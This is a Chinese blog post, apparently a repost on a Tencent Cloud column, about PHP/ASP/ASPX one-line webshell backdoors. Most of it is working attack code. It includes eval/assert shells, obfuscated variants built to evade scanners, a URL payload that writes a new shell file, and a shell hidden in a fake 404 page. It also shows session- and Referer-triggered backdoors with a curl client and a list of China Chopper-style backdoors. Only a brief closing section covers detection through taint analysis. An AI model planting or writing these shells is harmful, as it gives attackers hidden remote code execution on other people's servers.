前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >PHP一句话木马后门

PHP一句话木马后门

作者头像
全栈程序员站长
发布于 2022-08-31 06:22:48
发布于 2022-08-31 06:22:48
3.4K00
代码可运行
举报
运行总次数:0
代码可运行

大家好,又见面了,我是你们的朋友全栈君。

在我们进行渗透测试的最后阶段,入侵到内网里,无论是想要浏览网站结构,还是抓取数据库,或者是挂个木马等等,到最后最常用的就是执行一句话木马,从客户端轻松连接服务器

一句话木马的原理很简单,造型也很简单,所以造成了它理解起来容易,抵御起来也容易。于是黑白的较量变成了黑帽不断的构造变形的后门,去隐蔽特征,而白帽则不断的更新过滤方法,建起更高的城墙。

一、原理简述

对于不同的语言有不同的构造方法。

  • 基本构造:最开头构造的是脚本开始的标记
  • 核心部分:获取并执行得到的内容,通常类似eval、execute等
  • 被执行内容:一般是http等协议接受的值,通常类似request、$_POST等

如果我们通过客户端向服务器发送被执行内容,那么就会让服务器执行我们发送的脚本,挂马就实现了。

代码语言:javascript
代码运行次数:0
运行
复制
/*asp一句话木马*/
<%execute(request("value"))%>

/*php一句话木马*/
<?php @eval($_POST[value]);?>

/*aspx一句话木马*/
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>

黑帽子的目的,就是想尽办法给目标网站插入这么一段会被储存起来的语句。可以是一个单独的脚本文件文件(.asp 、.php、.aspx ),或者是隐藏在某些网页下的文件、代码等。其中的value 就是客户端要发送的内容,然后通过客户端与服务器建立连接,发送控制脚本。也会涉及到一些任意文件上传漏洞等。

二、简单变形

很明显的 eval 可以成为一个静态特征码,webshell扫描工具可以以此为关键词,扫描到这种木马加以屏蔽。于是可以简单变形不出现eval:

代码语言:javascript
代码运行次数:0
运行
复制
<?php $_GET['a']($_POST['b'])?>

同理,传给a值为 @base64_decode(base64编码过后的eval)。

代码语言:javascript
代码运行次数:0
运行
复制
<?php $_GET['a']($_GET['b']);?>

利用方法:

代码语言:javascript
代码运行次数:0
运行
复制
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

通过对GET请求的URL构造而形成利用,左括号和右括号是URL编码,解码回来如下:

代码语言:javascript
代码运行次数:0
运行
复制
?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

PHP接收到GET请求后相当于执行一个assert函数,并把b作为assert的参数。b里面使用略php的base64解码函数,把部分信息通过base64编码而绕过扫描,解码后如下:

代码语言:javascript
代码运行次数:0
运行
复制
?a=assert&b=${fputs(fopen(c.php,w),<?php @eval($_POST[c]); ?>1)};

执行后当前目录生成c.php文件并写入一句话木马,这已经算是一个非常隐蔽的木马了。而在PHP 后门的变形之路上,远远不止这些,甚至可以自己定义一个加密解密的函数,或者是利用xor, 字符串翻转,压缩,截断重组等等方法来绕过。

三、变形改良

1.404页面隐藏木马

代码语言:javascript
代码运行次数:0
运行
复制
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
	<head>
		<title>404 Not Found</title>
	</head>
	<body>
		<h1>Not Found</h1>
		<p>The requested URL was not found on this server.</p>
	</body>
</html>
<?php
	@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
	header('HTTP/1.1 404 Not Found');
?>

一般404页面放好后,很少有人会定期对404页面进行检查和修改。如果在404页面挂上了一句话后门,一方面不会被发现,另一方面,黑帽子很容易能定位到并连接上服务器。

2.无特征隐藏PHP后门

利用session:

代码语言:javascript
代码运行次数:0
运行
复制
<?php

    session_start();
    $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
    $_SESSION['theCode'] && preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

利用_SEESION变量来绕过扫描,将_POST[‘code’]赋值给

利用HTTP_REFERER:

利用请求中的HTTP_REFERER来运行经过base64编码的代码,达到后门的效果,使用两个文件。

代码语言:javascript
代码运行次数:0
运行
复制
<?php

    //1.php
    header('Content-type:text/html;charset=utf-8');
    parse_str($_SERVER['HTTP_REFERER'], $a);
    if(reset($a) == '10' && count($a) == 9) {
        eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
    }
代码语言:javascript
代码运行次数:0
运行
复制
<?php

    //2.php
    header('Content-type:text/html;charset=utf-8');
    
    //要执行的代码
    $code = <<<CODE
        phpinfo();
CODE;

    //进行base64编码
    $code = base64_encode($code);
    
    //构造referer字符串
    $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
    
    //后门url
    $url = 'http://localhost/test1/1.php';
    $ch = curl_init();
    $options = [
        CURLOPT_URL    => $url,
        CURLOPT_HEADER => FALSE,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_REFERER => $referer
    ];
    curl_setopt_array($ch, $options);
    echo curl_exec($ch);

访问2.php,会构造一个会话,进到后门1.php那里。然后在HTTP_REFERER 的内容也会传递给1.php,通过1.php 执行内容。一般来说,防火墙会对 referer字段宽松一些,就可造成绕过。

3.常见的后门

代码语言:javascript
代码运行次数:0
运行
复制
//菜刀一句话
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");

//危险的include函数,直接编译任何文件为php格式运行
$filename=$_GET['xbid'];
include ($filename);

//重命名任何文件
$reg="c"."o"."p"."y";
$reg($_FILES['MyFile']['tmp_name'],$_FILES['MyFile']['name']);

//菜刀一句话
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");

//gif插一句话
//危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
include ($uid);

//典型一句话
<?php eval_r($_POST['s'])?>
<?php @eval_r($_POST['s'])?>

//使用lanker一句话客户端的专家模式执行相关的php语句
<?php assert($_POST['s']);?>

<?$_POST['a']($_POST['b']);?>
<?$_POST['a']($_POST['b'],$_POST['c'])?>

//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
<?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?>
    
<O>h=@eval_r($_POST1);</O>

//绕过<?限制的一句话
<script language="php">@eval_r($_POST[sb])</script>

四、攻防

攻方:利用各种各样的绕过姿势,都是试图让扫描工具无效。

守方:分析各种各样的函数,寻找有效的特征码来防止后门。

黑帽子大牛:深入web框架内核,挖掘出代码缺陷,构造出复杂的后门利用。

安全审计人员:对那些通过GET,POST 获取的超全局变量,进行细致的追踪,构造合适的过滤器。

语义分析:对GET POST 等获取的值进行污染点追踪,以确保这些用户可控的值,不会未经过滤就得到了执行,或是进入数据库中。

针对超全局变量进行语义分析:

  • $_GET
  • $_POST
  • $_REQUEST
  • $_SERVER
  • $_FILES
  • $_COOKIE
  • $_SESSION
  • $_ENV
  • $GLOBALS

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/143504.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022年5月2,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
怎么一口气拿到百度,阿里,腾讯,今日头条,网易,华为Offer
在下本是跨专业渣考研的985渣硕一枚,经历研究生两年的学习积累,有幸于2019秋季招聘中拿到几个公司的研发岗offer,包括百度,阿里,腾讯,今日头条,网易,华为等。
用户1093975
2018/12/05
2.8K0
那些有实力进入 BAT 的本科生,都做对了什么事?
最近这段时间,我们部门来了几个年纪轻轻的本科生,最小的比我们小五岁左,这对于我来说还是比较有冲击力的。
程序员黄小斜
2019/07/11
5390
读研还是工作?保研南大的大佬拿到了淘宝实习Offer!我酸了~~~
很多读者都会纠结读研还是工作,因为每个人情况不同,所以没有标准答案。就拿我和我基友现身说法吧,我们是大学同学,由于上的是双非学校,所以大家对现状都不满意。
Guide哥
2020/05/07
7650
Java工程师修炼之路(从小白到BAT的两年学习历程)
在下本是跨专业渣考研的985渣硕一枚,经历研究生两年的学习积累,有幸于2019秋季招聘中拿到几个公司的研发岗offer,包括百度,阿里,腾讯,今日头条,网易,华为等。
程序员黄小斜
2019/03/11
2.9K0
改了 3 年的技术简历,终于能让面试官看顺眼了
  怎样制作一份优秀的技术简历。相信很多同学都对此有疑问,实际上,制作简历这件事,说难也不难,说简单也不简单。
程序员黄小斜
2019/03/30
2.2K0
从Java小白到收获BAT等offer,分享我这两年的经验和感悟
常想,人生最有趣莫过于前路未知。于是我常常羡慕那些个“金梁古温”笔下随遇而安、随性而为、随缘而爱的浪子们。比如陆小凤,比如叶开。
猿天地
2019/05/15
6840
从Java小白到收获BAT等offer,分享我这两年的经验和感悟
初生牛犊不怕虎!开发一年的安卓实习生在大厂横冲直撞后,手握多份offer特此分享!
文章为作者的面试经验,除此以外,作者撰写和收集了7个大类的知识点,可以滑到文末点击获取学习。
Android技术干货分享
2021/02/06
4490
初生牛犊不怕虎!开发一年的安卓实习生在大厂横冲直撞后,手握多份offer特此分享!
【经验分享】做计算机视觉的你,如何拿到大厂的Offer的?
楼主研二计算机视觉方向的,水平不高,实习面试被拒,好奇大家是怎么利用自己的专业知识拿到Offer的?
AI算法与图像处理
2019/07/11
1.3K0
从机械自动化专业到Java工程师转行之路
秋招已经过半,突然想写篇文章总结下自己的 Java 转行之路和秋招提前批、暑期实习的面试经历及个人感悟。因为要写的东西比较多,拆分成三篇:
乔戈里
2019/10/09
1.4K0
面经:运维开发实习生(网易杭州)-杭研-公共技术(含网易云)
面经:运维开发实习生(网易杭州)-杭研-公共技术(含网易云) 前言 面试前在牛客网翻了好久,没找到网易运维开发的面经……百度找到一份面试题目:网易2014校招-运维开发工程师。还是有一点点用的。 4月11日下午的面试,我4月10日下午从广州飞过去的,4月12日早上飞回来。网易报销600块路费,多的我就当旅游费了……吐槽一下南航,机舱好热……28°C……这是人生第一、二次自己坐飞机。 面试时间是下午3:15,我上午就去逛了下西湖,然后中午去网易。可能逛西湖喝了太多水,没胃口从午饭……(没有吃早餐的习惯) 大约
牛客网
2018/04/28
2K0
导师画大饼!
《操作系统》: https://www.icourse163.org/course/HIT-1002531008
Guide哥
2022/05/25
8220
导师画大饼!
研一一整年都在搞深度学习,研二醒悟打算转开发
最近阿秀组建了自己的学习圈子,其实圈子里以前只有我一个人的,每天适当充电、看看书或者看一些教学视频,也会简单打卡记录自己的学习进度,比如前段时间的总结文章:昨天、今天和明天,阿秀离开学校后坚持学习135天了
拓跋阿秀
2022/09/28
1.1K0
非科班学弟如何转行斩获 ATM 大厂的 Offer ?
下面这篇文章来自 zz 学弟,作为非CS专业的选手,分享自己转行互联网,参与校招、斩获大厂 Offer 的经验。全篇干货满满,希望能给大家带来收获。
灵魂画师牧码
2020/11/06
6420
从十个角度解析面试全流程!附互联网公司Offer难度系数分析
▌作者:ELon Z,已授权!链接:https://imageslr.com/2021/autumn-recruit.html
拓跋阿秀
2021/08/20
2.3K0
从十个角度解析面试全流程!附互联网公司Offer难度系数分析
2019春招群来了|技术同学的专属交流群!
去年的这个时候,我刚刚结束实习,回到家中,打算好好放松一下,春招什么的年后再准备吧!
程序员黄小斜
2019/02/05
1.4K0
从面试连跪到收割offer,回顾我的春招面试历程(研发岗位)
作者黄小斜,斜杠青年,某985硕士,阿里 Java 研发工程师,于 2018 年秋招拿到 BAT 头条、网易、滴滴等 8 个大厂 offer,目前致力于分享这几年的学习经验、求职心得和成长感悟,以及作为程序员的思考和见解。
程序员黄小斜
2019/03/13
1.4K0
漫漫大学江湖录 - 爱与恨唯与工作更交织
其实在18年11月有了华为,就已经宣告结束了大学校招历程,是时候写下总结了,再不写估计很多东西都忘了。
JavaEdge
2019/01/07
5660
手把手教你如何选择、斩下NLP算法岗offer!
这篇文章不是面经集合,也不是装X和贩卖焦虑的晒offer贴,也不是堆砌可能问到的知识点,而是希望给还在迷茫的小伙伴提供一些系统的指导和建议。当然,这些建议可能不适合每个人,因此希望大家从这篇文章里汲取到适合自己的养分,千万不要邯郸学步哦m(— —)m
AI研习社
2019/09/05
1.8K0
错过了春招,难道你还不为秋招做准备吗
如今的校招,像一场突围赛,很多人“牺牲”在前进的路上,那些突围成功的人,不是因为他们刀枪不入,而是他们有扎实的准备,周密的计划以及可圈可点的技巧。
技术zhai
2019/02/15
7410
从零基础到斩获BAT算法岗offer,围观复旦大佬的秋招之路
原文链接:https://github.com/zslomo/2019-Autumn-recruitment-experience
程序员黄小斜
2019/01/21
1.2K0
推荐阅读
相关推荐
怎么一口气拿到百度,阿里,腾讯,今日头条,网易,华为Offer
更多 >
目录
  • 一、原理简述
  • 二、简单变形
  • 三、变形改良
  • 四、攻防
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档